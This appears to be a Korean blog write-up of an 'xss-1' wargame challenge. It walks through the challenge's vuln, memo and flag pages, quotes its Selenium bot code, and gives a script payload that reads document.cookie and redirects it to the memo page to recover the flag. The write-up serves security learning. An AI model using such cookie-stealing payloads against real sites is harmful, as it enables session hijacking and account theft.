-
[Wargame] - xss-1정보보안 2024. 10. 7. 02:00

페이지로 들어가면 vuln, memo, flag 총 3개의 페이지가 존재한다.
이를 모두 확인해보자.
vuln(xss) page

해당 페이지 URL 속 "param=<script>alert(1)</script>" 구문이 실행되는 것을 보아 XSS 필터링이 없는 것 같다.
memo

해당 페이지는 URL속 "memo?memo=hello"가 출력되는 것을 보아 memo= 에 들어갈 값을 입력하면 이를 표시해주는 페이지인 것 같다.
flag

flag는 아까 위에서 XSS 필터링이 존재하지 않은 곳으로 파라미터 요청을 하는 페이지인 것 같다.
그럼 이제 소스코드 분석을 해보자
def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0.1"}) try: service = Service(executable_path="/chromedriver") options = webdriver.ChromeOptions() for _ in [ "headless", "window-size=1920x1080", "disable-gpu", "no-sandbox", "disable-dev-shm-usage", ]: options.add_argument(_) driver = webdriver.Chrome(service=service, options=options) driver.implicitly_wait(3) driver.set_page_load_timeout(3) driver.get("http://127.0.0.1:8000/") driver.add_cookie(cookie) driver.get(url) except Exception as e: driver.quit() # return str(e) return False driver.quit() return Trueread_url() 함수를 보면 cookie가 처음 생성되고, url도 함께 driver에 저장하는것을 보아 최종 cookie 값이 우리가 찾아야할 FLAG 값임을 알 수 있다.
def check_xss(param, cookie={"name": "name", "value": "value"}): url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" return read_url(url, cookie)check_xss 함수를 보면 우리가 입력한 url이 참조되어 위에서 설명한 read_url() 함수로 이동하는 것을 볼 수 있다.
그럼 /flag 페이지에서 cookie 값을 가져오는 코드를 입력하면 FLAG 값을 얻을 수 있겠다.
+ 아까 /vuln 페이지는 XSS 필터링이 없기때문에 그냥 <script>를 사용해도 되겠다!
쿠키 값 가져오는 코드 : location.href=document.cookie; <script>location.href="memo?memo="+document.cookie;</script>FLAG 값은 /memo 페이지에서 확인이 가능하기에 아까 봤던 memo?memo=hello를 참고해서 스크립트문을 POST 보내면 FLAG를 얻을 수 있다!
'정보보안' 카테고리의 다른 글
Lab: DOM XSS in document.write sink using source location.search (0) 2025.04.12 [Wargame] - CSRF Advanced (0) 2024.10.09 [Wargame] - cookie (0) 2024.10.08 [Wargame] - what-is-my-ip (0) 2024.10.07 [Wargame] - phpreg (0) 2024.10.04